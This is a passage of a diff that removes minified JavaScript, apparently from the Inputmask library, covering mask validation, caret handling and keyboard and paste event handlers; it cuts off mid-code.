Y.slice() - } else s = f(w.matches[T] || i.matches[T], [T].concat(u), v); - if (s) return !0 - } else if (s.isQuantifier && v !== i.matches[e.inArray(s, i.matches) - 1]) - for (var I = s, F = r.length > 0 ? r.shift() : 0; F < (isNaN(I.quantifier.max) ? F + 1 : I.quantifier.max) && d <= t; F++) { - var z = i.matches[e.inArray(I, i.matches) - 1]; - if (s = f(z, [F].concat(u), z)) { - if (o = c[c.length - 1].match, o.optionalQuantifier = F > I.quantifier.min - 1, _(o, z)) { - if (F > I.quantifier.min - 1) { - h = !0, d = t; - break - } - return !0 - } - return !0 - } - } else if (s = a(s, r, u, v)) return !0 - } else d++ - } - for (var v = r.length > 0 ? r.shift() : 0; v < i.matches.length; v++) - if (!0 !== i.matches[v].isQuantifier) { - var _ = f(i.matches[v], [v].concat(s), u); - if (_ && d === t) return _; - if (d > t) break - } - } - - function s(e) { - if (l.keepStatic && t > 0 && e.length > 1 + ("" === e[e.length - 1].match.def ? 1 : 0) && !0 !== e[0].match.optionality && !0 !== e[0].match.optionalQuantifier && null === e[0].match.fn && !/[0-9a-bA-Z]/.test(e[0].match.def)) { - if (m().validPositions[t - 1] === n) return [g(e)]; - if (m().validPositions[t - 1].alternation === e[0].alternation) return [g(e)]; - if (m().validPositions[t - 1]) return [g(e)] - } - return e - } - var o, u = m().maskToken, - d = i ? r : 0, - f = i ? i.slice() : [0], - c = [], - h = !1, - p = i ? i.join("") : ""; - if (t > -1) { - if (i === n) { - for (var v, _ = t - 1; - (v = m().validPositions[_] || m().tests[_]) === n && _ > -1;) _--; - v !== n && _ > -1 && (f = function (t) { - var i = []; - return e.isArray(t) || (t = [t]), t.length > 0 && (t[0].alternation === n ? 0 === (i = g(t.slice()).locator.slice()).length && (i = t[0].locator.slice()) : e.each(t, function (e, t) { - if ("" !== t.def) - if (0 === i.length) i = t.locator.slice(); - else - for (var n = 0; n < i.length; n++) t.locator[n] && -1 === i[n].toString().indexOf(t.locator[n]) && (i[n] += "," + t.locator[n]) - })), i - }(v), p = f.join(""), d = _) - } - if (m().tests[t] && m().tests[t][0].cd === p) return s(m().tests[t]); - for (var y = f.shift(); y < u.length && !(a(u[y], f, [y]) && d === t || d > t); y++); - } - return (0 === c.length || h) && c.push({ - match: { - fn: null, - cardinality: 0, - optionality: !0, - casing: null, - def: "", - placeholder: "" - }, - locator: [], - cd: p - }), i !== n && m().tests[t] ? s(e.extend(!0, [], c)) : (m().tests[t] = e.extend(!0, [], c), s(m().tests[t])) - } - - function k() { - return m()._buffer === n && (m()._buffer = h(!1, 1), m().buffer === n && (m().buffer = m()._buffer.slice())), m()._buffer - } - - function L(e) { - return m().buffer !== n && !0 !== e || (m().buffer = h(!0, v(), !0)), m().buffer - } - - function T(e, t, i) { - var r, a; - if (!0 === e) p(), e = 0, t = i.length; - else - for (r = e; r < t; r++) delete m().validPositions[r]; - for (a = e, r = e; r < t; r++) - if (p(!0), i[r] !== l.skipOptionalPartCharacter) { - var s = Y(a, i[r], !0, !0); - !1 !== s && (p(!0), a = s.caret !== n ? s.caret : s.pos + 1) - } - } - - function x(t, i, n) { - switch (l.casing || i.casing) { - case "upper": - t = t.toUpperCase(); - break; - case "lower": - t = t.toLowerCase(); - break; - case "title": - var a = m().validPositions[n - 1]; - t = 0 === n || a && a.input === String.fromCharCode(r.keyCode.SPACE) ? t.toUpperCase() : t.toLowerCase(); - break; - default: - if (e.isFunction(l.casing)) { - var s = Array.prototype.slice.call(arguments); - s.push(m().validPositions), t = l.casing.apply(this, s) - } - } - return t - } - - function S(t, i, r) { - for (var a, s = l.greedy ? i : i.slice(0, 1), o = !1, u = r !== n ? r.split(",") : [], d = 0; d < u.length; d++) - 1 !== (a = t.indexOf(u[d])) && t.splice(a, 1); - for (var f = 0; f < t.length; f++) - if (-1 !== e.inArray(t[f], s)) { - o = !0; - break - } - return o - } - - function Y(t, i, a, s, o, u) { - function d(e) { - var t = J ? e.begin - e.end > 1 || e.begin - e.end == 1 : e.end - e.begin > 1 || e.end - e.begin == 1; - return t && 0 === e.begin && e.end === m().maskLength ? "full" : t - } - - function f(i, r, a) { - var o = !1; - return e.each(M(i), function (u, f) { - for (var h = f.match, g = r ? 1 : 0, y = "", b = h.cardinality; b > g; b--) y += P(i - (b - 1)); - if (r && (y += r), L(!0), !1 !== (o = null != h.fn ? h.fn.test(y, m(), i, a, l, d(t)) : (r === h.def || r === l.skipOptionalPartCharacter) && "" !== h.def && { - c: O(i, h, !0) || h.def, - pos: i - })) { - var w = o.c !== n ? o.c : r; - w = w === l.skipOptionalPartCharacter && null === h.fn ? O(i, h, !0) || h.def : w; - var M = i, - k = L(); - if (o.remove !== n && (e.isArray(o.remove) || (o.remove = [o.remove]), e.each(o.remove.sort(function (e, t) { - return t - e - }), function (e, t) { - _(t, t + 1, !0) - })), o.insert !== n && (e.isArray(o.insert) || (o.insert = [o.insert]), e.each(o.insert.sort(function (e, t) { - return e - t - }), function (e, t) { - Y(t.pos, t.c, !0, s) - })), o.refreshFromBuffer) { - var S = o.refreshFromBuffer; - if (T(!0 === S ? S : S.start, S.end, k), o.pos === n && o.c === n) return o.pos = v(), !1; - if ((M = o.pos !== n ? o.pos : i) !== i) return o = e.extend(o, Y(M, w, !0, s)), !1 - } else if (!0 !== o && o.pos !== n && o.pos !== i && (M = o.pos, T(i, M, L().slice()), M !== i)) return o = e.extend(o, Y(M, w, !0)), !1; - return (!0 === o || o.pos !== n || o.c !== n) && (u > 0 && p(!0), c(M, e.extend({}, f, { - input: x(w, h, M) - }), s, d(t)) || (o = !1), !1) - } - }), o - } - - function c(t, i, r, a) { - if (a || l.insertMode && m().validPositions[t] !== n && r === n) { - var s, o = e.extend(!0, {}, m().validPositions), - u = v(n, !0); - for (s = t; s <= u; s++) delete m().validPositions[s]; - m().validPositions[t] = e.extend(!0, {}, i); - var d, f = !0, - c = m().validPositions, - _ = !1, - g = m().maskLength; - for (s = d = t; s <= u; s++) { - var y = o[s]; - if (y !== n) - for (var b = d; b < m().maskLength && (null === y.match.fn && c[s] && (!0 === c[s].match.optionalQuantifier || !0 === c[s].match.optionality) || null != y.match.fn);) { - if (b++, !1 === _ && o[b] && o[b].match.def === y.match.def) m().validPositions[b] = e.extend(!0, {}, o[b]), m().validPositions[b].input = y.input, h(b), d = b, f = !0; - else if (w(b, y.match.def)) { - var M = Y(b, y.input, !0, !0); - f = !1 !== M, d = M.caret || M.insert ? v() : b, _ = !0 - } else if (!(f = !0 === y.generatedInput) && b >= m().maskLength - 1) break; - if (m().maskLength < g && (m().maskLength = g), f) break - } - if (!f) break - } - if (!f) return m().validPositions = e.extend(!0, {}, o), p(!0), !1 - } else m().validPositions[t] = e.extend(!0, {}, i); - return p(!0), !0 - } - - function h(t) { - for (var i = t - 1; i > -1 && !m().validPositions[i]; i--); - var r, a; - for (i++; i < t; i++) m().validPositions[i] === n && (!1 === l.jitMasking || l.jitMasking > i) && ("" === (a = M(i, y(i - 1).locator, i - 1).slice())[a.length - 1].match.def && a.pop(), (r = g(a)) && (r.match.def === l.radixPointDefinitionSymbol || !D(i, !0) || e.inArray(l.radixPoint, L()) < i && r.match.fn && r.match.fn.test(O(i), m(), i, !1, l)) && !1 !== (k = f(i, O(i, r.match, !0) || (null == r.match.fn ? r.match.def : "" !== O(i) ? O(i) : L()[i]), !0)) && (m().validPositions[k.pos || i].generatedInput = !0)) - } - a = !0 === a; - var b = t; - t.begin !== n && (b = J && !d(t) ? t.end : t.begin); - var k = !0, - C = e.extend(!0, {}, m().validPositions); - if (e.isFunction(l.preValidation) && !a && !0 !== s && !0 !== u && (k = l.preValidation(L(), b, i, d(t), l)), !0 === k) { - if (h(b), d(t) && (N(n, r.keyCode.DELETE, t, !0, !0), b = m().p), b < m().maskLength && (V === n || b < V) && (k = f(b, i, a), (!a || !0 === s) && !1 === k && !0 !== u)) { - var A = m().validPositions[b]; - if (!A || null !== A.match.fn || A.match.def !== i && i !== l.skipOptionalPartCharacter) { - if ((l.insertMode || m().validPositions[E(b)] === n) && !D(b, !0)) - for (var j = b + 1, H = E(b); j <= H; j++) - if (!1 !== (k = f(j, i, a))) { - ! function (t, i) { - var r = m().validPositions[i]; - if (r) - for (var a = r.locator, s = a.length, o = t; o < i; o++) - if (m().validPositions[o] === n && !D(o, !0)) { - var l = M(o).slice(), - u = g(l, !0), - d = -1; - "" === l[l.length - 1].match.def && l.pop(), e.each(l, function (e, t) { - for (var i = 0; i < s; i++) { - if (t.locator[i] === n || !S(t.locator[i].toString().split(","), a[i].toString().split(","), t.na)) { - var r = a[i], - o = u.locator[i], - l = t.locator[i]; - r - o > Math.abs(r - l) && (u = t); - break - } - d < i && (d = i, u = t) - } - }), (u = e.extend({}, u, { - input: O(o, u.match, !0) || u.match.def - })).generatedInput = !0, c(o, u, !0), m().validPositions[i] = n, f(i, r.input, !0) - } - }(b, k.pos !== n ? k.pos : j), b = j; - break - } - } else k = { - caret: E(b) - } - }!1 === k && l.keepStatic && !a && !0 !== o && (k = function (t, i, r) { - var a, o, u, d, f, c, h, _, g = e.extend(!0, {}, m().validPositions), - y = !1, - b = v(); - for (d = m().validPositions[b]; b >= 0; b--) - if ((u = m().validPositions[b]) && u.alternation !== n) { - if (a = b, o = m().validPositions[a].alternation, d.locator[u.alternation] !== u.locator[u.alternation]) break; - d = u - } - if (o !== n) { - _ = parseInt(a); - var w = d.locator[d.alternation || o] !== n ? d.locator[d.alternation || o] : h[0]; - w.length > 0 && (w = w.split(",")[0]); - var k = m().validPositions[_], - L = m().validPositions[_ - 1]; - e.each(M(_, L ? L.locator : n, _ - 1), function (a, u) { - h = u.locator[o] ? u.locator[o].toString().split(",") : []; - for (var d = 0; d < h.length; d++) { - var b = [], - M = 0, - L = 0, - T = !1; - if (w < h[d] && (u.na === n || -1 === e.inArray(h[d], u.na.split(",")) || -1 === e.inArray(w.toString(), h))) { - m().validPositions[_] = e.extend(!0, {}, u); - var x = m().validPositions[_].locator; - for (m().validPositions[_].locator[o] = parseInt(h[d]), null == u.match.fn ? (k.input !== u.match.def && (T = !0, !0 !== k.generatedInput && b.push(k.input)), L++, m().validPositions[_].generatedInput = !/[0-9a-bA-Z]/.test(u.match.def), m().validPositions[_].input = u.match.def) : m().validPositions[_].input = k.input, f = _ + 1; f < v(n, !0) + 1; f++)(c = m().validPositions[f]) && !0 !== c.generatedInput && /[0-9a-bA-Z]/.test(c.input) ? b.push(c.input) : f < t && M++, delete m().validPositions[f]; - for (T && b[0] === u.match.def && b.shift(), p(!0), y = !0; b.length > 0;) { - var S = b.shift(); - if (S !== l.skipOptionalPartCharacter && !(y = Y(v(n, !0) + 1, S, !1, s, !0))) break - } - if (y) { - m().validPositions[_].locator = x; - var D = v(t) + 1; - for (f = _ + 1; f < v() + 1; f++)((c = m().validPositions[f]) === n || null == c.match.fn) && f < t + (L - M) && L++; - y = Y((t += L - M) > D ? D : t, i, r, s, !0) - } - if (y) return !1; - p(), m().validPositions = e.extend(!0, {}, g) - } - } - }) - } - return y - }(b, i, a)), !0 === k && (k = { - pos: b - }) - } - if (e.isFunction(l.postValidation) && !1 !== k && !a && !0 !== s && !0 !== u) { - var I = l.postValidation(L(!0), k, l); - if (I.refreshFromBuffer && I.buffer) { - var F = I.refreshFromBuffer; - T(!0 === F ? F : F.start, F.end, I.buffer) - } - k = !0 === I ? k : I - } - return k && k.pos === n && (k.pos = b), !1 !== k && !0 !== u || (p(!0), m().validPositions = e.extend(!0, {}, C)), k - } - - function D(e, t) { - var i = y(e).match; - if ("" === i.def && (i = b(e).match), null != i.fn) return i.fn; - if (!0 !== t && e > -1) { - var n = M(e); - return n.length > 1 + ("" === n[n.length - 1].match.def ? 1 : 0) - } - return !1 - } - - function E(e, t) { - var i = m().maskLength; - if (e >= i) return i; - var n = e; - for (M(i + 1).length > 1 && (h(!0, i + 1, !0), i = m().maskLength); ++n < i && (!0 === t && (!0 !== b(n).match.newBlockMarker || !D(n)) || !0 !== t && !D(n));); - return n - } - - function C(e, t) { - var i, n = e; - if (n <= 0) return 0; - for (; --n > 0 && (!0 === t && !0 !== b(n).match.newBlockMarker || !0 !== t && !D(n) && ((i = M(n)).length < 2 || 2 === i.length && "" === i[1].match.def));); - return n - } - - function P(e) { - return m().validPositions[e] === n ? O(e) : m().validPositions[e].input - } - - function A(t, i, r, a, s) { - if (a && e.isFunction(l.onBeforeWrite)) { - var o = l.onBeforeWrite.call(U, a, i, r, l); - if (o) { - if (o.refreshFromBuffer) { - var u = o.refreshFromBuffer; - T(!0 === u ? u : u.start, u.end, o.buffer || i), i = L(!0) - } - r !== n && (r = o.caret !== n ? o.caret : r) - } - } - t !== n && (t.inputmask._valueSet(i.join("")), r === n || a !== n && "blur" === a.type ? B(t, r, 0 === i.length) : c && a && "input" === a.type ? setTimeout(function () { - I(t, r) - }, 0) : I(t, r), !0 === s && (Q = !0, e(t).trigger("input"))) - } - - function O(t, i, r) { - if ((i = i || b(t).match).placeholder !== n || !0 === r) return e.isFunction(i.placeholder) ? i.placeholder(l) : i.placeholder; - if (null === i.fn) { - if (t > -1 && m().validPositions[t] === n) { - var a, s = M(t), - o = []; - if (s.length > 1 + ("" === s[s.length - 1].match.def ? 1 : 0)) - for (var u = 0; u < s.length; u++) - if (!0 !== s[u].match.optionality && !0 !== s[u].match.optionalQuantifier && (null === s[u].match.fn || a === n || !1 !== s[u].match.fn.test(a.match.def, m(), t, !0, l)) && (o.push(s[u]), null === s[u].match.fn && (a = s[u]), o.length > 1 && /[0-9a-bA-Z]/.test(o[0].match.def))) return l.placeholder.charAt(t % l.placeholder.length) - } - return i.def - } - return l.placeholder.charAt(t % l.placeholder.length) - } - - function j(t, a, s, o, u) { - function d(e, t) { - return -1 !== k().slice(e, E(e)).join("").indexOf(t) && !D(e) && b(e).match.nativeDef === t.charAt(t.length - 1) - } - var f = o.slice(), - c = "", - h = -1, - _ = n; - if (p(), s || !0 === l.autoUnmask) h = E(h); - else { - var g = k().slice(0, E(-1)).join(""), - w = f.join("").match(new RegExp("^" + r.escapeRegex(g), "g")); - w && w.length > 0 && (f.splice(0, w.length * g.length), h = E(h)) - } - if (-1 === h ? (m().p = E(h), h = 0) : m().p = h, e.each(f, function (i, r) { - if (r !== n) - if (m().validPositions[i] === n && f[i] === O(i) && D(i, !0) && !1 === Y(i, f[i], !0, n, n, !0)) m().p++; - else { - var a = new e.Event("_checkval"); - a.which = r.charCodeAt(0), c += r; - var o = v(n, !0), - u = m().validPositions[o], - g = y(o + 1, u ? u.locator.slice() : n, o); - if (!d(h, c) || s || l.autoUnmask) { - var b = s ? i : null == g.match.fn && g.match.optionality && o + 1 < m().p ? o + 1 : m().p; - _ = ie.keypressEvent.call(t, a, !0, !1, s, b), h = b + 1, c = "" - } else _ = ie.keypressEvent.call(t, a, !0, !1, !0, o + 1); - if (!1 !== _ && !s && e.isFunction(l.onBeforeWrite)) { - var w = _; - if (_ = l.onBeforeWrite.call(U, a, L(), _.forwardPosition, l), (_ = e.extend(w, _)) && _.refreshFromBuffer) { - var M = _.refreshFromBuffer; - T(!0 === M ? M : M.start, M.end, _.buffer), p(!0), _.caret && (m().p = _.caret, _.forwardPosition = _.caret) - } - } - } - }), a) { - var M = n; - i.activeElement === t && _ && (M = l.numericInput ? C(_.forwardPosition) : _.forwardPosition), A(t, L(), M, u || new e.Event("checkval"), u && "input" === u.type) - } - } - - function H(t) { - if (t) { - if (t.inputmask === n) return t.value; - t.inputmask && t.inputmask.refreshValue && ie.setValueEvent.call(t) - } - var i = [], - r = m().validPositions; - for (var a in r) r[a].match && null != r[a].match.fn && i.push(r[a].input); - var s = 0 === i.length ? "" : (J ? i.reverse() : i).join(""); - if (e.isFunction(l.onUnMask)) { - var o = (J ? L().slice().reverse() : L()).join(""); - s = l.onUnMask.call(U, o, s, l) - } - return s - } - - function I(e, r, a, s) { - function o(e) { - return !0 === s || !J || "number" != typeof e || l.greedy && "" === l.placeholder || (e = L().join("").length - e), e - } - var d; - if (r === n) return e.setSelectionRange ? (r = e.selectionStart, a = e.selectionEnd) : t.getSelection ? (d = t.getSelection().getRangeAt(0)).commonAncestorContainer.parentNode !== e && d.commonAncestorContainer !== e || (r = d.startOffset, a = d.endOffset) : i.selection && i.selection.createRange && (a = (r = 0 - (d = i.selection.createRange()).duplicate().moveStart("character", -e.inputmask._valueGet().length)) + d.text.length), { - begin: o(r), - end: o(a) - }; - if (r.begin !== n && (a = r.end, r = r.begin), "number" == typeof r) { - r = o(r), a = "number" == typeof (a = o(a)) ? a : r; - var f = parseInt(((e.ownerDocument.defaultView || t).getComputedStyle ? (e.ownerDocument.defaultView || t).getComputedStyle(e, null) : e.currentStyle).fontSize) * a; - if (e.scrollLeft = f > e.scrollWidth ? f : 0, u || !1 !== l.insertMode || r !== a || a++, e.setSelectionRange) e.selectionStart = r, e.selectionEnd = a; - else if (t.getSelection) { - if (d = i.createRange(), e.firstChild === n || null === e.firstChild) { - var c = i.createTextNode(""); - e.appendChild(c) - } - d.setStart(e.firstChild, r < e.inputmask._valueGet().length ? r : e.inputmask._valueGet().length), d.setEnd(e.firstChild, a < e.inputmask._valueGet().length ? a : e.inputmask._valueGet().length), d.collapse(!0); - var h = t.getSelection(); - h.removeAllRanges(), h.addRange(d) - } else e.createTextRange && ((d = e.createTextRange()).collapse(!0), d.moveEnd("character", a), d.moveStart("character", r), d.select()); - B(e, { - begin: r, - end: a - }) - } - } - - function F(t) { - var i, r, a = L(), - s = a.length, - o = v(), - l = {}, - u = m().validPositions[o], - d = u !== n ? u.locator.slice() : n; - for (i = o + 1; i < a.length; i++) d = (r = y(i, d, i - 1)).locator.slice(), l[i] = e.extend(!0, {}, r); - var f = u && u.alternation !== n ? u.locator[u.alternation] : n; - for (i = s - 1; i > o && (((r = l[i]).match.optionality || r.match.optionalQuantifier && r.match.newBlockMarker || f && (f !== l[i].locator[u.alternation] && null != r.match.fn || null === r.match.fn && r.locator[u.alternation] && S(r.locator[u.alternation].toString().split(","), f.toString().split(",")) && "" !== M(i)[0].def)) && a[i] === O(i, r.match)); i--) s--; - return t ? { - l: s, - def: l[s] ? l[s].match : n - } : s - } - - function z(e) { - for (var t, i = F(), r = e.length, a = m().validPositions[v()]; i < r && !D(i, !0) && (t = a !== n ? y(i, a.locator.slice(""), a) : b(i)) && !0 !== t.match.optionality && (!0 !== t.match.optionalQuantifier && !0 !== t.match.newBlockMarker || i + 1 === r && "" === (a !== n ? y(i + 1, a.locator.slice(""), a) : b(i + 1)).match.def);) i++; - for (; - (t = m().validPositions[i - 1]) && t && t.match.optionality && t.input === l.skipOptionalPartCharacter;) i--; - return e.splice(i), e - } - - function R(t) { - if (e.isFunction(l.isComplete)) return l.isComplete(t, l); - if ("*" === l.repeat) return n; - var i = !1, - r = F(!0), - a = C(r.l); - if (r.def === n || r.def.newBlockMarker || r.def.optionality || r.def.optionalQuantifier) { - i = !0; - for (var s = 0; s <= a; s++) { - var o = y(s).match; - if (null !== o.fn && m().validPositions[s] === n && !0 !== o.optionality && !0 !== o.optionalQuantifier || null === o.fn && t[s] !== O(s, o)) { - i = !1; - break - } - } - } - return i - } - - function N(t, i, a, s, o) { - if ((l.numericInput || J) && (i === r.keyCode.BACKSPACE ? i = r.keyCode.DELETE : i === r.keyCode.DELETE && (i = r.keyCode.BACKSPACE), J)) { - var u = a.end; - a.end = a.begin, a.begin = u - } - i === r.keyCode.BACKSPACE && (a.end - a.begin < 1 || !1 === l.insertMode) ? (a.begin = C(a.begin), m().validPositions[a.begin] !== n && m().validPositions[a.begin].input === l.groupSeparator && a.begin--) : i === r.keyCode.DELETE && a.begin === a.end && (a.end = D(a.end, !0) && m().validPositions[a.end] && m().validPositions[a.end].input !== l.radixPoint ? a.end + 1 : E(a.end) + 1, m().validPositions[a.begin] !== n && m().validPositions[a.begin].input === l.groupSeparator && a.end++), _(a.begin, a.end, !1, s), !0 !== s && function () { - if (l.keepStatic) { - for (var i = [], r = v(-1, !0), a = e.extend(!0, {}, m().validPositions), s = m().validPositions[r]; r >= 0; r--) { - var o = m().validPositions[r]; - if (o) { - if (!0 !== o.generatedInput && /[0-9a-bA-Z]/.test(o.input) && i.push(o.input), delete m().validPositions[r], o.alternation !== n && o.locator[o.alternation] !== s.locator[o.alternation]) break; - s = o - } - } - if (r > -1) - for (m().p = E(v(-1, !0)); i.length > 0;) { - var u = new e.Event("keypress"); - u.which = i.pop().charCodeAt(0), ie.keypressEvent.call(t, u, !0, !1, !1, m().p) - } else m().validPositions = e.extend(!0, {}, a) - } - }(); - var d = v(a.begin, !0); - if (d < a.begin) m().p = E(d); - else if (!0 !== s && (m().p = a.begin, !0 !== o)) - for (; m().p < d && m().validPositions[m().p] === n;) m().p++ - } - - function W(n) { - function r(e) { - var t, r = i.createElement("span"); - for (var s in a) isNaN(s) && -1 !== s.indexOf("font") && (r.style[s] = a[s]); - r.style.textTransform = a.textTransform, r.style.letterSpacing = a.letterSpacing, r.style.position = "absolute", r.style.height = "auto", r.style.width = "auto", r.style.visibility = "hidden", r.style.whiteSpace = "nowrap", i.body.appendChild(r); - var o, l = n.inputmask._valueGet(), - u = 0; - for (t = 0, o = l.length; t <= o; t++) { - if (r.innerHTML += l.charAt(t) || "_", r.offsetWidth >= e) { - var d = e - u, - f = r.offsetWidth - e; - r.innerHTML = l.charAt(t), t = (d -= r.offsetWidth / 3) < f ? t - 1 : t; - break - } - u = r.offsetWidth - } - return i.body.removeChild(r), t - } - var a = (n.ownerDocument.defaultView || t).getComputedStyle(n, null), - s = i.createElement("div"); - s.style.width = a.width, s.style.textAlign = a.textAlign, (G = i.createElement("div")).className = "im-colormask", n.parentNode.insertBefore(G, n), n.parentNode.removeChild(n), G.appendChild(s), G.appendChild(n), n.style.left = s.offsetLeft + "px", e(n).on("click", function (e) { - return I(n, r(e.clientX)), ie.clickEvent.call(n, [e]) - }), e(n).on("keydown", function (e) { - e.shiftKey || !1 === l.insertMode || setTimeout(function () { - B(n) - }, 0) - }) - } - - function B(e, t, r) { - function a() { - c || null !== o.fn && u.input !== n ? c && (null !== o.fn && u.input !== n || "" === o.def) && (c = !1, f += "") : (c = !0, f += "") - } - - function s(n) { - !0 !== n && h !== t.begin || i.activeElement !== e || (f += "") - } - var o, u, d, f = "", - c = !1, - h = 0; - if (G !== n) { - var p = L(); - if (t === n ? t = I(e) : t.begin === n && (t = { - begin: t, - end: t - }), !0 !== r) { - var _ = v(); - do { - s(), m().validPositions[h] ? (u = m().validPositions[h], o = u.match, d = u.locator.slice(), a(), f += p[h]) : (u = y(h, d, h - 1), o = u.match, d = u.locator.slice(), (!1 === l.jitMasking || h < _ || "number" == typeof l.jitMasking && isFinite(l.jitMasking) && l.jitMasking > h) && (a(), f += O(h, o))), h++ - } while ((V === n || h < V) && (null !== o.fn || "" !== o.def) || _ > h || c); - 1 === f.indexOf("im-caret") && s(!0), c && a() - } - var g = G.getElementsByTagName("div")[0]; - g.innerHTML = f, e.inputmask.positionColorMask(e, g) - } - } - s = s || this.maskset, l = l || this.opts; - var q, $, V, G, U = this, - X = this.el, - J = this.isRTL, - K = !1, - Q = !1, - Z = !1, - ee = !1, - te = { - on: function (t, i, a) { - var s = function (t) { - if (this.inputmask === n && "FORM" !== this.nodeName) { - var i = e.data(this, "_inputmask_opts"); - i ? new r(i).mask(this) : te.off(this) - } else { - if ("setvalue" === t.type || "FORM" === this.nodeName || !(this.disabled || this.readOnly && !("keydown" === t.type && t.ctrlKey && 67 === t.keyCode || !1 === l.tabThrough && t.keyCode === r.keyCode.TAB))) { - switch (t.type) { - case "input": - if (!0 === Q) return Q = !1, t.preventDefault(); - break; - case "keydown": - K = !1, Q = !1; - break; - case "keypress": - if (!0 === K) return t.preventDefault(); - K = !0; - break; - case "click": - if (d || f) { - var s = this, - o = arguments; - return setTimeout(function () { - a.apply(s, o) - }, 0), !1 - } - } - var u = a.apply(this, arguments); - return !1 === u && (t.preventDefault(), t.stopPropagation()), u - } - t.preventDefault() - } - }; - t.inputmask.events[i] = t.inputmask.events[i] || [], t.inputmask.events[i].push(s), -1 !== e.inArray(i, ["submit", "reset"]) ? null !== t.form && e(t.form).on(i, s) : e(t).on(i, s) - }, - off: function (t, i) { - if (t.inputmask && t.inputmask.events) { - var n; - i ? (n = [])[i] = t.inputmask.events[i] : n = t.inputmask.events, e.each(n, function (i, n) { - for (; n.length > 0;) { - var r = n.pop(); - 1 !== e.inArray(i, ["submit", "reset"]) ? null !== t.form && e(t.form).off(i, r) : e(t).off(i, r) - } - delete t.inputmask.events[i] - }) - } - } - }, - ie = { - keydownEvent: function (t) { - var n = this, - a = e(n), - s = t.keyCode, - o = I(n); - if (s === r.keyCode.BACKSPACE || s === r.keyCode.DELETE || f && s === r.keyCode.BACKSPACE_SAFARI || t.ctrlKey && s === r.keyCode.X && ! function (e) { - var t = i.createElement("input"), - n = "on" + e, - r = n in t; - return r || (t.setAttribute(n, "return;"), r = "function" == typeof t[n]), t = null, r - }("cut")) t.preventDefault(), N(n, s, o), A(n, L(!0), m().p, t, n.inputmask._valueGet() !== L().join("")), n.inputmask._valueGet() === k().join("") ? a.trigger("cleared") : !0 === R(L()) && a.trigger("complete"); - else if (s === r.keyCode.END || s === r.keyCode.PAGE_DOWN) { - t.preventDefault(); - var u = E(v()); - l.insertMode || u !== m().maskLength || t.shiftKey || u--, I(n, t.shiftKey ? o.begin : u, u, !0) - } else s === r.keyCode.HOME && !t.shiftKey || s === r.keyCode.PAGE_UP ? (t.preventDefault(), I(n, 0, t.shiftKey ? o.begin : 0, !0)) : (l.undoOnEscape && s === r.keyCode.ESCAPE || 90 === s && t.ctrlKey) && !0 !== t.altKey ? (j(n, !0, !1, q.split("")), a.trigger("click")) : s !== r.keyCode.INSERT || t.shiftKey || t.ctrlKey ? !0 === l.tabThrough && s === r.keyCode.TAB ? (!0 === t.shiftKey ? (null === b(o.begin).match.fn && (o.begin = E(o.begin)), o.end = C(o.begin, !0), o.begin = C(o.end, !0)) : (o.begin = E(o.begin, !0), o.end = E(o.begin, !0), o.end < m().maskLength && o.end--), o.begin < m().maskLength && (t.preventDefault(), I(n, o.begin, o.end))) : t.shiftKey || !1 === l.insertMode && (s === r.keyCode.RIGHT ? setTimeout(function () { - var e = I(n); - I(n, e.begin) - }, 0) : s === r.keyCode.LEFT && setTimeout(function () { - var e = I(n); - I(n, J ? e.begin + 1 : e.begin - 1) - }, 0)) : (l.insertMode = !l.insertMode, I(n, l.insertMode || o.begin !== m().maskLength ? o.begin : o.begin - 1)); - l.onKeyDown.call(this, t, L(), I(n).begin, l), Z = -1 !== e.inArray(s, l.ignorables) - }, - keypressEvent: function (t, i, a, s, o) { - var u = this, - d = e(u), - f = t.which || t.charCode || t.keyCode; - if (!(!0 === i || t.ctrlKey && t.altKey) && (t.ctrlKey || t.metaKey || Z)) return f === r.keyCode.ENTER && q !== L().join("") && (q = L().join(""), setTimeout(function () { - d.trigger("change") - }, 0)), !0; - if (f) { - 46 === f && !1 === t.shiftKey && "" !== l.radixPoint && (f = l.radixPoint.charCodeAt(0)); - var c, h = i ? { - begin: o, - end: o - } : I(u), - v = String.fromCharCode(f); - m().writeOutBuffer = !0; - var _ = Y(h, v, s); - if (!1 !== _ && (p(!0), c = _.caret !== n ? _.caret : i ? _.pos + 1 : E(_.pos), m().p = c), !1 !== a && (setTimeout(function () { - l.onKeyValidation.call(u, f, _, l) - }, 0), m().writeOutBuffer && !1 !== _)) { - var g = L(); - A(u, g, l.numericInput && _.caret === n ? C(c) : c, t, !0 !== i), !0 !== i && setTimeout(function () { - !0 === R(g) && d.trigger("complete") - }, 0) - } - if (t.preventDefault(), i) return !1 !== _ && (_.forwardPosition = c), _ - } - }, - pasteEvent: function (i) { - var n, r = this, - a = i.originalEvent || i, - s = e(r), - o = r.inputmask._valueGet(!0), - u = I(r); - J && (n = u.end, u.end = u.begin, u.begin = n); - var d = o.substr(0, u.begin), - f = o.substr(u.end, o.length); - if (d === (J ? k().reverse() : k()).slice(0, u.begin).join("") && (d = ""), f === (J ? k().reverse() : k()).slice(u.end).join("") && (f = ""), J && (n = d, d = f, f = n), t.clipboardData && t.clipboardData.getData) o = d + t.clipboardData.getData("Text") + f; - else { - if (!a.clipboardData || !a.clipboardData.getData) return !0; - o = d + a.clipboardData.getData("text/plain") + f - } - var c = o; - if (e.isFunction(l.onBeforePaste)) { - if (!1 === (c = l.onBeforePaste.call(U, o, l))) return i.preventDefault(); - c || (c = o) - } - return j(r, !1, !1, J ? c.split("").reverse() : c.toString().split("")), A(r, L(), E(v()), i, q !== L().join("")), !0 === R(L()) && s.trigger("complete"), i.preventDefault() - }, - inputFallBackEvent: function (t) { - var i = this, - n = i.inputmask._valueGet(); - if (L().join("") !== n) { - var a = I(i); - if (!1 === function (t, i, n) { - if ("." === i.charAt(n.begin - 1) && "" !== l.radixPoint && ((i = i.split(""))[n.begin - 1] = l.radixPoint.charAt(0), i = i.join("")), i.charAt(n.begin - 1) === l.radixPoint && i.length > L().length) { - var r = new e.Event("keypress"); - return r.which = l.radixPoint.charCodeAt(0), ie.keypressEvent.call(t, r, !0, !0, !1, n.begin - 1), !1 - } - }(i, n, a)) return !1; - if (n = n.replace(new RegExp("(" + r.escapeRegex(k().join("")) + ")*"), ""), !1 === function (t, i, n) { - if (d) { - var r = i.replace(L().join(""), ""); - if (1 === r.length) { - var a = new e.Event("keypress"); - return a.which = r.charCodeAt(0), ie.keypressEvent.call(t, a, !0, !0, !1, m().validPositions[n.begin - 1] ? n.begin : n.begin - 1), !1 - } - } - }(i, n, a)) return !1; - a.begin > n.length && (I(i, n.length), a = I(i)); - var s = L().join(""), - o = n.substr(0, a.begin), - u = n.substr(a.begin), - f = s.substr(0, a.begin), - c = 